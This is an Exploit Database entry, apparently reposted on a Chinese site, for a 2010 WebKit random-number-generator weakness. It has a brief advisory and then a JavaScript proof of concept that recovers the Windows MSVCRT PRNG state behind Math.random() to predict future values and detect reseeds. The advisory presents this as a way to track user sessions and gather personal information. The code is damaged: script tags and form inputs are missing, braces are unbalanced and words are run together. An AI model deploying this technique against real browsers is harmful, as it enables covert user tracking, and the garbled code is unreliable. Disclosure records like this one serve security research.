WebKit – Insufficient Entropy Random Number Generator (1)

Exploit Database
105 阅读

作者： Amit Klein

日期： 2010-11-18
类别：
- remote
平台：
- windows
来源：https://www.exploit-db.com/exploits/35005/

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source: https://www.securityfocus.com/bid/44952/info

WebKit is prone to a random-number-generator weakness.

Attackers can exploit this issue by enticing an unsuspecting user into visiting a malicious webpage.

Successful attacks will allow attackers to track user sessions and obtain personal information that can aid in further attacks.

NOTE: This issue was previously covered in BID 44938 (Apple Safari Prior to 5.0.3 and 4.1.3 Multiple Security Vulnerabilities) but has been given its own record to better document it.

<html>

<body>

document.write("Browser: "+navigator.userAgent);

</script>

<br>

interval=200;

iid=null;

function setint()

{

interval=document.getElementById('x').value;

clearInterval(iid);

iid=setInterval("recalc()",interval);

return;

}

</script>

<form>

Polling interval:<br>

Use low values(e.g. 200)forPRNG statemarkdemo and reseed

counting<br>

Use high values (e.g. 5000) for PRNG prediction demo<br>

</form>

Total MSVCRT PRNG invocations (since this page load):

MSVCRT PRNG invocations since last reseed:

MSVCRT PRNG reseed count (since this page load):

MSVCRT PRNG state mark:

Current Math.random():

Calculated next Math.random() values:

var total_counter=0;

var current_counter=0;

var reseed_counter=0;

var state=0;

var mark=0;

function adv(x)

{

return (214013*x+2531011) & 0x7FFFFFFF;

}

function update_counters(reseed)

{

document.getElementById("total").innerText=total_counter;

document.getElementById("current").innerText=current_counter;

document.getElementById("reseed").innerText=reseed_counter;

document.getElementById("mark").innerText=mark;

m=Math.random();

state=adv(state);

state2=adv(state);

state2=adv(state2);

document.getElementById("math_random").innerText=m;

document.getElementById("next").innerText=

((((adv(state2)>>16)&0x7FFF)<<15)|((state2>>16)&0x7FFF))/(1<<30

);

state2=adv(state2);

document.getElementById("next").innerText+=" "+

((((adv(state2)>>16)&0x7FFF)<<15)|((state2>>16)&0x7FFF))/(1<<30

);

}

function find_mark(st)

{

for (;;)

{

if ((st & 0x3FF)==0)

{

return st>>10;

}

st=adv(st);

}

function recalc()

{

var rr=new Array();

rr[0]=Math.random()*Math.pow(2,30);

// Try to resync with the PRNG.

// Allow up to 1000 iterations from previous sync

for (k=0;k<1000;k++)

{

state=adv(state);

if ((((state>>16)&0x7FFF)==(rr[0]&0x7FFF)) &&

(((adv(state)>>16)&0x7FFF)==(rr[0]>>15)))

{

state=adv(state);

total_counter+=k;

current_counter+=k;

mark=find_mark(state);

update_counters(false);

return;

}

rr[1]=Math.random()*Math.pow(2,30);

var r=new Array();

for (i=0;i<2;i++)

{

r.push(rr[i] & 0x7FFF);

r.push(rr[i]>>15);

}

for (v=0;v<(1<<16);v++)

{

state=(r[0]<<16)|v;

for (j=1;j<4;j++)

{

state=adv(state);

if (((state>>16)&0x7FFF)!=r[j])

{

break;

}

if (j==4)

{

reseed_counter++;

current_counter=0;

mark=find_mark(state);

update_counters(true);

return;

}

recalc();

setint();

</script>

</body>

</html>